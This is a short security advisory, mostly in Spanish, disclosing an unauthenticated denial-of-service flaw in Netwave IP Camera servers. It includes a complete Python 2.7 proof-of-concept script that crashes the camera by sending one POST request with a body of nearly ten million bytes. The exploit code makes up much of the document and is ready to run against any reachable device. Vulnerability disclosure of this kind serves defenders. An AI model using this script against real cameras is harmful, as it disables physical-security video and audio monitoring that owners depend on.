Netwave IP Camera server vulnerable to unauthenticated Denial of Service via one single huge POST request on any firmware.

0. Introducción:

Durante una investigación de seguridad en IoT, se han descubierto algunas vulnerabilidades en diferentes fabricantes de cámaras IP. Netwave IP Camera es un servidor de cámara IP que permite ver el video de la cámara y administrarla. Las cámaras IP se utilizan especialmente para fines de seguridad física y control, por lo que su disponibilidad es crucial.

1. Denegación de servicio:

Cualquier cámara IP Netwave puede ser derribada simplemente enviando una solicitud POST enorme a su ruta raíz. Una vez que se envía la solicitud, el dispositivo se bloquea y deja de transmitir audio y video.

Prueba de concepto: Ejecute el siguiente script de Python 2.7 contra cualquier cámara IP NetWave, dejará de responder y de transmitir video/audio al instante.

import string
import httplib
import urllib2

host = "CAMERA_IP"
port = 80
params='A'*9999999 # Huge body

headers = { 
"Host": host + ':' + str(port),
"Connection": "keep-alive",
"Content-Length": 9999999,
}

url = "/"

conn = httplib.HTTPConnection(host,port=port)
conn.request("POST",url,params,headers)
response = conn.getresponse()
data = response.read()
print data

2. Investigador:

Gonzalo García León